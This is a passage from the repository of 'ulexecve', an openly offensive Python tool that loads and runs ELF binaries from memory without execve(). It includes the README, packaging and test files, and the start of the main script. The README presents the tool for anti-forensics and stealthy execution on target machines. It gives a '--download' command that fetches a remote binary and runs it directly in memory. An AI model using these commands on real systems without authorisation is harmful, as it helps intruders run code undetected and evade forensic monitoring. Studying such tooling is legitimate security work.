├── .gitignore ├── LICENSE ├── MANIFEST.in ├── README.md ├── pyproject.toml ├── setup.cfg ├── setup.py ├── test.py ├── tox.ini └── ulexecve.py /.gitignore: -------------------------------------------------------------------------------- 1 | .tox 2 | __pycache__ 3 | *.egg-info 4 | *.pyc 5 | *.pyo 6 | build 7 | dist 8 | sdist 9 | core 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2021-2023, Anvil Secure Inc. 2 | 3 | Redistribution and use in source and binary forms, with or without 4 | modification, are permitted provided that the following conditions 5 | are met: 6 | 1. Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | 2. Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | 3. Neither the name of the University nor the names of its contributors 12 | may be used to endorse or promote products derived from this software 13 | without specific prior written permission. 14 | 15 | THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 16 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 17 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 18 | ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 19 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 20 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 21 | OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 22 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 23 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 24 | OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 25 | SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include ulexecve.py 2 | include test.py 3 | include README.md 4 | include LICENSE 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Quick Start 2 | 3 | Execute dynamic or statically compiled ELF Linux binaries without ever calling execve(). 4 | 5 | ``` 6 | cat /bin/echo | ulexecve - hello 7 | hello 8 | ``` 9 | 10 | # Introduction 11 | 12 | This Python tool is called `ulexecve` and it stands for *userland execve*. It helps you execute arbitrary ELF binaries on Linux systems from userland without ever calling the *execve()* systemcall. In other words: you can execute arbitrary binaries directly from memory without ever having to write them to storage. This is very useful from an anti-forensic or red-teaming perspective and enables you to move around more stealthily while still dropping compiled binaries on target machines. The tool works on CPython 3.x as well as CPython 2.7 (and possibly earlier) on the supported Linux platforms (`x86`, `x86-64` and `aarch64`). Both static and dynamically compiled ELF binaries are supported. Of course there will always be a small subset of binaries which may not work or result in a crash and for these a 100% reliable fallback method is implemented on top of the modern `memfd_create()` system call. 13 | 14 | ## Background 15 | 16 | Linux userland execve tools have a history that goes back roughly two decades. The first solid writeups on this were made by *the grugq* in *The Design and Implementation of Userland Exec* [1] as well another article in Phrack 62 [2]. Anti-forensic techniques to execute binaries directly from memory are fairly standard. Rapid7's *mettle* for example has a library named `libreflect` which includes a utility `noexec` which also attempts to execute an ELF via reflection only. However this tool is written in C and it has the implicit requirement that you need to transfer the `noexec` binary on the target system as well being able to execute this binary. 17 | 18 | In modern container environments this is definitely not always possible anymore. However a lot of container environments do contain a Python installation. Having the ability to simply download a Python script via `curl` or so on a target machine and then being able to execute this script to then stealthily execute arbitrary binaries is very useful from an anti-forensics perspective. 19 | 20 | This is also the reason the tool is all implemented in just one file. This should make it easier to download it on target systems and not have to worry about installing any other dependencies before being able to run it. The tool is tested with Python 2.7 even though this Python version is deprecated. There are many systems still out there with 2.x versions so this is useful. 21 | 22 | No good other implementations of a Python userland *execve()* existed. There is *SELF* [3] which was not extensively documented, lacked easy debugging options but more importantly didn't work at all. The `ulexecve` implementation was written from scratch. It parses the ELF file, loads and parses the dynamic linker as well (if needed), maps all segments into memory and ultimately constructs a jump buffer containing CPU instructions to ultimately transfer control from the Python process directly to the newly loaded binary. 23 | 24 | All the common ELF parsing logic, setting up the stack, mapping the ELF segments and setting up the jump buffers is abstracted away so it is fairly easy (in the order of a couple of hours) to port to another CPU. Porting it to other ELF based platforms such as the BSDs might be a bit more involved but should still be fairly straightforward. For more information on to do so just check the comments in the code. 25 | 26 | Please note that it is an explicit design goal to have no external dependencies and to have everything implemented in a single source code file. If you need to make smaller payloads it should be fairly trivial to remove support for cetain CPU types or rip out all the debug information and other options. 27 | 28 | # Installation 29 | 30 | ## To install via pip 31 | 32 | Although this makes little sense from an anti-forensics perspective the tool is installable via `pip`. 33 | 34 | ``` 35 | pip install ulexecve 36 | ulexecve --help 37 | ``` 38 | 39 | ## To build and install as a Python package 40 | 41 | ``` 42 | python setup.py sdist 43 | python -m pip install --upgrade dist/ulexecve-.tar.gz 44 | ulexecve --help 45 | ``` 46 | 47 | ## To download and run via curl 48 | ``` 49 | curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py 50 | ./ulexecve.py --help 51 | ``` 52 | 53 | # Usage 54 | 55 | The tool fully supports static and dynamically compiled executables. Simply pass the filename of the binary to `ulexecve` and any arguments you want to supply to the binary. The environment will be directly copied over from the environment in which you execute `ulexecve`. 56 | 57 | ``` 58 | ulexecve /bin/ls -lha 59 | ``` 60 | 61 | You can have it read a binary from `stdin` if you specify `-` as the filename. 62 | 63 | ``` 64 | cat /bin/ls | ulexecve - -lha 65 | ``` 66 | 67 | To download a binary into memory and immediately execute it you can use `--download`. This will interpret the filename argument as a URI. 68 | 69 | ``` 70 | ulexecve --download http://host/binary 71 | ``` 72 | 73 | To debug several options are available. If you get a crash you can show debug information via `--debug`, the built up stack via `--show-stack` as well as the generated jump buffer `--show-jumpbuf`. The `--jump-delay` option is very useful if you want to parse and map an ELF properly and then attach a debugger to step through the jump buffer and the ultimate executing binary to find the cause of the crash. 74 | 75 | 76 | ``` 77 | cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello 78 | ... 79 | PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70 80 | Loaded interpreter successfully 81 | Stack allocated at: 0x7fddf630e000 82 | vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000 83 | Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064 84 | stack contents: 85 | argv 86 | 00000000: 0x0000000000000002 87 | 00000008: 0x00007fddf6312410 88 | ... 89 | Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22) 90 | Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8) 91 | Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8) 92 | Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000 93 | Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000 94 | Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes) 95 | Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin 96 | ... 97 | 245: 00 00 00 98 | 248: 4c 01 d9 add %r11,%rcx 99 | 24b: 48 31 d2 xor %rdx,%rdx 100 | 24e: ff e1 jmpq *%rcx 101 | ... 102 | Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250) 103 | hello 104 | ``` 105 | 106 | There is always the `--fallback` option. It is not as stealthy as parsing and mapping in the binaries in userland ourselves. The fallback method uses `memfd_create()` and `fexecve()` but it should work 100% of time for executing arbitrary static or dynamic binaries. Provided the supplied binaries are the right binaries for the platform you are on obviously. 107 | 108 | # Limitations 109 | 110 | Obviously you can always end up with binaries which will not be executed properly. However this implementation is pretty clean and well tested (it includes unit-tests for static and dynamic binaries, PIE-compiled executables and executables with different runtimes such as Rust or Go). For most tools and binaries on the mentioned platforms it should do the trick. But your mileage may vary. Binaries that are produced by installation packers that embed other information inside the ELFs might not work properly depending on the self-referencing tricks they use. For PyInstaller binaries however a specific fallback was added to ulexecve. 111 | 112 | ## PyInstaller binaries 113 | 114 | Binaries which are created with PyInstaller will not work directly. These binaries require an accompanying package file or, in most cases, embed within the ELF the extra data needed to unpack and run properly after starting the embedded Python interpreter. This means that they cannot be made to work properly. There are a few ways of getting around this. A simple way, that may work in a subset of real world cases, assumes there is a writeable temp filesystem out there. Then we replace the string `/proc/self/exe` in the binary with `/tmp/xxxx`. After that we load the binary in memory via `memfd_create()` and then point the symlink at `/tmp/xxxx` to `/proc//fd/` to the in-memory file. To try this option use `--pyi-fallback`. If you need to specify a specific other temporary directory use `--tmpdir`. Please note that the resulting path including the tmpdir has to be the exact same amount of bytes long as is the string `/proc/self/exe` (14 bytes) so longer paths won't work. 115 | 116 | ``` 117 | $ cat > h.py 118 | print("hello") 119 | $ pyinstaller -F -c h.py 120 | ... 121 | $ cat ./tmp/dist/h | ./ulexecve.py - 122 | [5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg) 123 | $ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback - 124 | hello 125 | ``` 126 | 127 | # Porting 128 | 129 | When porting to a different platform make sure that the small amount of unit-tests all work. Simply run the included `./test.py` on the target platform and fix up everything up until all these tests succeed again. 130 | 131 | # Bugs, comments, suggestions 132 | 133 | Shoot in a pull-request via github, post an issue in the issue tracker or simply shoot an email to *gvb@anvilsecure.com*. 134 | 135 | # References 136 | 137 | 1. ["The Design and Implementation of Userland Exec"](https://github.com/grugq/grugq.github.com/blob/master/docs/ul_exec.txt), by the grugq. 138 | 139 | 2. ["FIST! FIST! FIST! Its all in the wrist: Remote Exec"](http://phrack.org/issues/62/8.html), by grugq, Phrack 62-0x08, 2004-07-13. 140 | 141 | 3. [Implementation of SELF in Python](https://github.com/mak/pyself), by Maciej Kotowicz (mak). 142 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | # These are the assumed default build requirements from pip: 3 | # https://pip.pypa.io/en/stable/reference/pip/#pep-517-and-518-support 4 | requires = ["setuptools>=40.8.0", "wheel"] 5 | build-backend = "setuptools.build_meta" 6 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | license_files = LICENSE 3 | 4 | [bdist_wheel] 5 | universal = 1 6 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | import setuptools 4 | NAME = "ulexecve" 5 | 6 | # We could use import obviously but we parse it as some python build systems 7 | # otherwise pollute namespaces and we might end up with some annoying issues. 8 | # See https://stackoverflow.com/a/7071358 for a discussion. 9 | with open("%s.py" % NAME, "rt") as fd: 10 | verstrline = fd.read() 11 | regex = r"^__version__ = ['\"]([^'\"]*)['\"]" 12 | mo = re.search(regex, verstrline, re.M) 13 | if mo: 14 | version = mo.group(1) 15 | else: 16 | raise RuntimeError("Unable to find version string") 17 | 18 | # load long description directly from the include markdown README 19 | with open("README.md", "r") as fd: 20 | long_description = fd.read() 21 | 22 | setuptools.setup( 23 | name=NAME, 24 | version=version, 25 | author="Anvil Secure Inc.", 26 | author_email="gvb@anvilsecure.com", 27 | description="Userland execve utility", 28 | long_description=long_description, 29 | long_description_content_type="text/markdown", 30 | url="https://github.com/anvilsecure/ulexecve", 31 | keywords="userland execve", 32 | py_modules=[NAME], 33 | classifiers=[ 34 | "Programming Language :: Python :: 2", 35 | "Programming Language :: Python :: 3", 36 | "License :: OSI Approved :: MIT License", 37 | "Operating System :: POSIX", 38 | "Development Status :: 5 - Production/Stable", 39 | "Development Status :: 5 - Production/Stable", 40 | "Environment :: Console", 41 | "Intended Audience :: Developers", 42 | "Intended Audience :: Information Technology", 43 | "Intended Audience :: System Administrators", 44 | ], 45 | python_requires='>=2.7', 46 | entry_points={ 47 | "console_scripts": ["%s=%s:main" % (NAME, NAME)], 48 | }, 49 | install_requires=[ 50 | ], 51 | extras_require={ 52 | "test": ["tox", "flake8"] 53 | } 54 | ) 55 | -------------------------------------------------------------------------------- /test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2021-2023, Anvil Secure Inc. 3 | # 4 | # Redistribution and use in source and binary forms, with or without 5 | # modification, are permitted provided that the following conditions 6 | # are met: 7 | # 1. Redistributions of source code must retain the above copyright 8 | # notice, this list of conditions and the following disclaimer. 9 | # 2. Redistributions in binary form must reproduce the above copyright 10 | # notice, this list of conditions and the following disclaimer in the 11 | # documentation and/or other materials provided with the distribution. 12 | # 3. Neither the name of the University nor the names of its contributors 13 | # may be used to endorse or promote products derived from this software 14 | # without specific prior written permission. 15 | # 16 | # THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 17 | # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | # ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 20 | # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 22 | # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 23 | # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 24 | # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 25 | # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 26 | # SUCH DAMAGE. 27 | 28 | import ctypes 29 | import math 30 | import os 31 | import random 32 | import string 33 | import subprocess 34 | import sys 35 | import tempfile 36 | import time 37 | import unittest 38 | from ctypes.util import find_library 39 | 40 | import ulexecve as u 41 | 42 | python_bin = "python3" if sys.version_info.major == 3 else "python2" 43 | 44 | 45 | class TestLibcBackwardsCompat(unittest.TestCase): 46 | 47 | def test_getauxval(self): 48 | libc = ctypes.CDLL(find_library('c')) 49 | 50 | try: 51 | getauxval = libc.getauxval 52 | self._run(getauxval) 53 | except AttributeError: 54 | pass 55 | 56 | def test_emulate_getauxval(self): 57 | self.assertIn("_emulate_getauxval", dir(u)) 58 | fn = u._emulate_getauxval 59 | with self.assertRaises(TypeError): 60 | fn() 61 | with self.assertRaises(TypeError): 62 | fn(1, 2) 63 | 64 | def _run(self, fn): 65 | # values can be gotten from f.e. /usr/include/x86_64-linux-gnu/bits/auxv.h 66 | self.assertEqual(fn(0), 0) 67 | self.assertNotEqual(fn(4), 0) # AT_PHENT 68 | self.assertGreater(fn(5), 0) # AT_PHNUM 69 | self.assertNotEqual(fn(6), 0) # AT_PAGESZ 70 | self.assertNotEqual(fn(7), 0) # AT_BASE 71 | self.assertEqual(fn(11), os.getuid()) # AT_UID 72 | 73 | 74 | class TestUtils(unittest.TestCase): 75 | def test_pagesize(self): 76 | self.assertIn("PAGE_SIZE", dir(u)) 77 | self.assertEqual(u.PAGE_SIZE, ctypes.pythonapi.getpagesize()) 78 | 79 | def test_page_floor(self): 80 | pgsize = u.PAGE_SIZE 81 | self.assertIn("PAGE_FLOOR", dir(u)) 82 | self.assertEqual(u.PAGE_FLOOR(pgsize * 2), pgsize * 2) 83 | self.assertEqual(u.PAGE_FLOOR(pgsize), pgsize) 84 | self.assertEqual(u.PAGE_FLOOR(pgsize + 5), pgsize) 85 | 86 | def test_page_ceil(self): 87 | pgsize = u.PAGE_SIZE 88 | self.assertIn("PAGE_CEIL", dir(u)) 89 | self.assertEqual(u.PAGE_CEIL(pgsize * 2), pgsize * 2) 90 | self.assertEqual(u.PAGE_CEIL(pgsize), pgsize) 91 | self.assertEqual(u.PAGE_CEIL(pgsize + 5), pgsize * 2) 92 | 93 | 94 | class TestFlags(unittest.TestCase): 95 | def test_flags(self): 96 | # just here for accidential modification in main source 97 | flags = { 98 | "PROT_READ": 0x01, 99 | "PROT_WRITE": 0x02, 100 | "PROT_EXEC": 0X04, 101 | "MAP_PRIVATE": 0x02, 102 | "MAP_ANONYMOUS": 0x20, 103 | "MAP_GROWSDOWN": 0x0100, 104 | "MAP_FIXED": 0x10, 105 | "PT_LOAD": 0x1, 106 | "PT_INTERP": 0x3, 107 | "EM_X86_64": 0x3e 108 | } 109 | for x in flags: 110 | self.assertIn(x, dir(u)) 111 | self.assertEqual(flags[x], getattr(u, x)) 112 | 113 | 114 | class TestOptions(unittest.TestCase): 115 | def test_jumpdelay(self): 116 | delay = 0 117 | cmd = "echo wutwut | %s %s --jump-delay %i /bin/cat" % (python_bin, u.__file__, delay) 118 | output = subprocess.check_output(cmd, shell=True) 119 | self.assertEqual(b"wutwut\n", output) 120 | 121 | with self.assertRaises(subprocess.CalledProcessError): 122 | delay = -1 123 | cmd = "%s %s --jump-delay %i /bin/ls 2>&1 >> /dev/null" % (python_bin, u.__file__, delay) 124 | output = subprocess.check_output(cmd, shell=True) 125 | 126 | with self.assertRaises(subprocess.CalledProcessError): 127 | delay = 500 128 | cmd = "%s %s --jump-delay %i /bin/ls 2>&1 >> /dev/null" % (python_bin, u.__file__, delay) 129 | output = subprocess.check_output(cmd, shell=True) 130 | 131 | t0 = int(math.floor(time.time())) 132 | delay = 2 133 | cmd = "echo delayed | %s %s --jump-delay %i /bin/cat" % (python_bin, u.__file__, delay) 134 | output = subprocess.check_output(cmd, shell=True) 135 | self.assertEqual(b"delayed\n", output) 136 | t1 = int(math.floor(time.time())) 137 | self.assertGreaterEqual(t1 - t0, delay) 138 | 139 | 140 | class TestBinaries(unittest.TestCase): 141 | def test_bins(self): 142 | # run /bin/cat and /bin/ls and see if those work fine 143 | py_fn = u.__file__ 144 | cat_fn = "/bin/cat" 145 | cmd = "echo hello | %s %s %s" % (python_bin, py_fn, cat_fn) 146 | output = subprocess.check_output(cmd, shell=True) 147 | self.assertEqual(b"hello\n", output) 148 | 149 | cat_fn = "/bin/ls -lha" 150 | cmd = "%s %s %s %s" % (python_bin, py_fn, cat_fn, os.path.basename(py_fn)) 151 | output = subprocess.check_output(cmd, shell=True) 152 | self.assertNotEqual(output.find(os.path.basename(py_fn).encode("utf-8")), -1) 153 | 154 | def compile_and_run(self, data, suffix, cmd, extra=""): 155 | with tempfile.NamedTemporaryFile(suffix="", mode="wb") as out: 156 | with tempfile.NamedTemporaryFile(suffix=suffix, mode="wb") as inp: 157 | inp.write(data) 158 | inp.seek(0) 159 | cmd = cmd % (out.name, inp.name) 160 | output = subprocess.check_output(cmd, shell=True) 161 | cmd = "%s %s %s %s" % (python_bin, u.__file__, out.name, extra) 162 | output = subprocess.check_output(cmd, shell=True) 163 | return output 164 | 165 | def test_args(self): 166 | c = b"#include \nint main(int argc, char ** argv){printf(\"%i\\n%s\\n%s\\n\", argc, argv[1], argv[2]);}\n" 167 | try: 168 | output = self.compile_and_run(c, ".c", "gcc -o %s %s", "hello world") 169 | except subprocess.CalledProcessError: 170 | self.skipTest("gcc does not seem to be installed so not running gcc specific tests") 171 | return 172 | lines = output.splitlines() 173 | self.assertEqual(lines[0], b"3") 174 | self.assertEqual(lines[1], b"hello") 175 | self.assertEqual(lines[2], b"world") 176 | 177 | def test_envp(self): 178 | envval = "".join(random.choice(string.ascii_uppercase) for _ in range(10)).encode("utf-8") 179 | envname = "".join(random.choice(string.ascii_uppercase) for _ in range(10)).encode("utf-8") 180 | c = b"#include \n#include \nint main(){printf(\"%%s\\n\", getenv(\"%s\"));}\n" % envname 181 | try: 182 | os.putenv(envname, envval) 183 | output = self.compile_and_run(c, ".c", "gcc -o %s %s", "") 184 | except subprocess.CalledProcessError: 185 | self.skipTest("gcc does not seem to be installed so not running gcc specific tests") 186 | return 187 | self.assertEqual(envval + b"\n", output) 188 | 189 | def test_gcc_dynamic_bin(self): 190 | c = b"#include \nint main(){printf(\"hello world from gcc\\n\");}" 191 | try: 192 | output = self.compile_and_run(c, ".c", "gcc -o %s %s") 193 | except subprocess.CalledProcessError: 194 | self.skipTest("gcc does not seem to be installed so not running gcc specific tests") 195 | return 196 | self.assertEqual(b"hello world from gcc\n", output) 197 | 198 | def test_gcc_static_bin(self): 199 | c = b"#include \nint main(){printf(\"hello world from gcc static\\n\");}\n" 200 | try: 201 | output = self.compile_and_run(c, ".c", "gcc --static -o %s %s") 202 | except subprocess.CalledProcessError: 203 | self.skipTest("gcc does not seem to be installed so not running gcc specific tests") 204 | return 205 | self.assertEqual(b"hello world from gcc static\n", output) 206 | 207 | def test_gcc_pie_bin(self): 208 | c = b"#include \nint main(){printf(\"hello world from gcc pie\\n\");}\n" 209 | try: 210 | output = self.compile_and_run(c, ".c", "gcc -O0 -pie -fpie -o %s %s") 211 | except subprocess.CalledProcessError: 212 | self.skipTest("gcc does not seem to be installed so not running gcc specific tests") 213 | return 214 | self.assertEqual(b"hello world from gcc pie\n", output) 215 | 216 | def test_gcc_nopie_bin(self): 217 | c = b"#include \nint main(){printf(\"hello world from gcc no-pie\\n\");}\n" 218 | try: 219 | output = self.compile_and_run(c, ".c", "gcc -O0 -no-pie -fno-pie -o %s %s") 220 | except subprocess.CalledProcessError: 221 | self.skipTest("gcc does not seem to be installed so not running gcc specific tests") 222 | return 223 | self.assertEqual(b"hello world from gcc no-pie\n", output) 224 | 225 | def test_rust_bins(self): 226 | try: 227 | c = b"fn main(){println!(\"hello world from rust\");}\n" 228 | output = self.compile_and_run(c, ".rs", "rustc -o %s %s") 229 | except subprocess.CalledProcessError: 230 | self.skipTest("rust does not seem to be installed so not running rust specific test") 231 | return 232 | self.assertEqual(b"hello world from rust\n", output) 233 | 234 | def test_golang_bins(self): 235 | try: 236 | c = b"package main\nimport \"fmt\"\nfunc main(){fmt.Println(\"hello world from golang\")}\n" 237 | output = self.compile_and_run(c, ".go", "go build -o %s %s") 238 | except subprocess.CalledProcessError: 239 | self.skipTest("golang does not seem to be installed to not running golang specific test") 240 | return 241 | self.assertEqual(b"hello world from golang\n", output) 242 | 243 | 244 | class TestFallback(unittest.TestCase): 245 | def test_bins(self): 246 | # run /bin/cat and /bin/ls and see if those work fine 247 | py_fn = u.__file__ 248 | cat_fn = "/bin/cat" 249 | cmd = "echo hello | %s %s --fallback %s" % (python_bin, py_fn, cat_fn) 250 | output = subprocess.check_output(cmd, shell=True) 251 | self.assertEqual(b"hello\n", output) 252 | 253 | cat_fn = "/bin/ls -lha" 254 | cmd = "%s %s --fallback %s %s" % (python_bin, py_fn, cat_fn, os.path.basename(py_fn)) 255 | output = subprocess.check_output(cmd, shell=True) 256 | self.assertNotEqual(output.find(os.path.basename(py_fn).encode("utf-8")), -1) 257 | 258 | 259 | class TestPyInstaller(unittest.TestCase): 260 | def test_pyinstaller(self): 261 | with tempfile.NamedTemporaryFile(suffix=".py", mode="wb") as out: 262 | out.write(b"print('hello')\n") 263 | out.flush() 264 | cmd = "pyinstaller -F -c --clean %s --workpath /tmp/_workpath --distpath /tmp/_distpath --specpath /tmp 2>&1 >> /dev/null" % (out.name) 265 | output = subprocess.check_output(cmd, shell=True) 266 | 267 | py_fn = u.__file__ 268 | cmd = "cat /tmp/_distpath/%s | %s %s --pyi-fallback -" % (os.path.basename(out.name[:-3]), python_bin, py_fn) 269 | output = subprocess.check_output(cmd, shell=True) 270 | self.assertEqual("hello\n".encode("utf-8"), output) 271 | 272 | # invalid non-pyinstaller bin should fail 273 | cmd = "cat /bin/ls | %s %s --pyi-fallback - 2>&1" % (python_bin, py_fn) 274 | try: 275 | output = subprocess.check_output(cmd, shell=True) 276 | except subprocess.CalledProcessError: 277 | pass 278 | 279 | if __name__ == "__main__": 280 | unittest.main() 281 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | [tox] 2 | envlist = py{27, 38} 3 | minversion = 2.7.0 4 | isolated_build = true 5 | 6 | [testenv] 7 | deps = 8 | check-manifest 9 | pytest 10 | flake8 11 | commands = 12 | check-manifest --ignore tox.ini,TODO 13 | python setup.py check -m -s 14 | py.test -rsx test.py {posargs} 15 | flake8 . 16 | 17 | [flake8] 18 | exclude = .tox,*.egg,build,data 19 | select = E,W,F 20 | ; ignore line length errors 21 | ignore = E501 22 | -------------------------------------------------------------------------------- /ulexecve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2021-2023, Anvil Secure Inc. 3 | # 4 | # Redistribution and use in source and binary forms, with or without 5 | # modification, are permitted provided that the following conditions 6 | # are met: 7 | # 1. Redistributions of source code must retain the above copyright 8 | # notice, this list of conditions and the following disclaimer. 9 | # 2. Redistributions in binary form must reproduce the above copyright 10 | # notice, this list of conditions and the following disclaimer in the 11 | # documentation and/or other materials provided with the distribution. 12 | # 3. Neither the name of the University nor the names of its contributors 13 | # may be used to endorse or promote products derived from this software 14 | # without specific prior written permission. 15 | # 16 | # THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 17 | # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | # ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 20 | # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 22 | # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 23 | # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 24 | # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 25 | # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 26 | # SUCH DAMAGE. 27 | 28 | """ 29 | ulexecve.py -- Userland execve implementation in Python 30 | 31 | This tool allows you to load arbitrary ELF binaries on Linux systems and 32 | execute them without the binaries ever having to touch storage nor using any 33 | easily monitored system calls such as execve(). This should make it ideal for 34 | red team engagements as well as other anti-forensics purposes. 35 | 36 | The design of the tool is fairly straightforward. It only uses standard CPython 37 | libraries and includes some backwards compatibility tricks to successfully run 38 | on 2.x releases as well as 3.x. When certain library calls are not implemented 39 | via libc on the platform this is running on they will be emulated. For example 40 | `getauxval()` or `memfd_create()`. 41 | 42 | It is an explicit design-goal of this tool to not have any external 43 | dependencies. As such the assembly generation code can be seen to be pretty 44 | crude but this was very much preferred over pulling in external code generator 45 | libraries. Similarly for splitting up versions of this for different platforms 46 | or make it more stealthily by having less options or removing all the debug 47 | information. This is trivially doable for anyone who wants to really integrate 48 | this in their red-team tooling and it is not an explicit goal of this tool 49 | itself. If anything this is a reference implementation that can easily be 50 | adapted if you want to make smaller payloads for use in the real world. 51 | 52 | ELF binaries are parsed and the PT_LOAD segments are mapped into memory. We 53 | then have to generate a so-called jump buffer. This buffer will contain raw CPU 54 | instructions because the newly loaded binary will most likely overwrite parts 55 | of the Python process' memory regions. As such the moment we hand over control 56 | by starting to execute the jump buffer there is no way back and we will either 57 | crash and burn or successfully execute the reflected binary (assuming we have 58 | everything setup properly). 59 | 60 | The parsing and the builtup of the stack is all standard. Ultimately we call 61 | into a CPU-specific Code Generator. The tool will call `munmap()` for each 62 | memory segment in order to unmap any possible Python memory regions. Then 63 | `mmap()` calls are generated for each memory segment. The code generator for 64 | each CPU simply implements the system calls with the right arguments. 65 | 66 | We do not know always where the binaries are mapped if they are for example 67 | position independent binaries. As such each Code Generator will need to store 68 | the result of the main binary mmapp() in an intermediate register. For example 69 | on x86-64 we use %r11, on x86 %ecx and on aarch64 we use %x16. 70 | 71 | Then we proceed to do two things. First we generate `memcpy()` instructions 72 | which copy the ELF segments from the temporary Python ctypes buffers into the 73 | proper memory locations. This is done at the specified offset as parsed from 74 | the ELF file on top of the intermediate register as mentioned above. 75 | 76 | Secondly we now have to fix up the auxilliary vector to make sure that the 77 | entries AT_BASE, AT_PHDR, AT_ENTRY are properly setup. This is to tie 78 | everything together for dynamic binaries and it ensures that the linker can do 79 | its job. For more information on this vector please refer to this LWN article 80 | https://lwn.net/Articles/519085/. We also forward on any other entries such as 81 | the location of the vDSO (AT_SYSINFO_EHDR) from the original process such that 82 | any calls by the binary into vDSO land work properly. 83 | 84 | Once the code generator is done we have a so-called jump buffer. This jump 85 | buffer can be disassembled directly via `--show-jumpbuf`. It simply uses 86 | `objdump` under the hood. The script transfers control from Python-land to the 87 | jump buffer. The built up instructions will be executed and ultimately the 88 | control will be transfered to the newly loaded binary. 89 | 90 | Obviously one can always compile binaries which will not work or which might 91 | crash. As such you simply have to sit back and pray. However the implementation 92 | is pretty well tested, includes unit-tests for static and dynamic binaries, as 93 | well as PIE-compiled executables or executables with different runtimes such as 94 | Rust or Go. Simply run the included `./test.py` 95 | 96 | -- Vincent Berg 97 | """ 98 | 99 | import argparse 100 | import ctypes 101 | import errno 102 | import logging 103 | import os 104 | import random 105 | import string 106 | import struct 107 | import subprocess 108 | import sys 109 | import tempfile 110 | from ctypes import (POINTER, c_char_p, c_int, 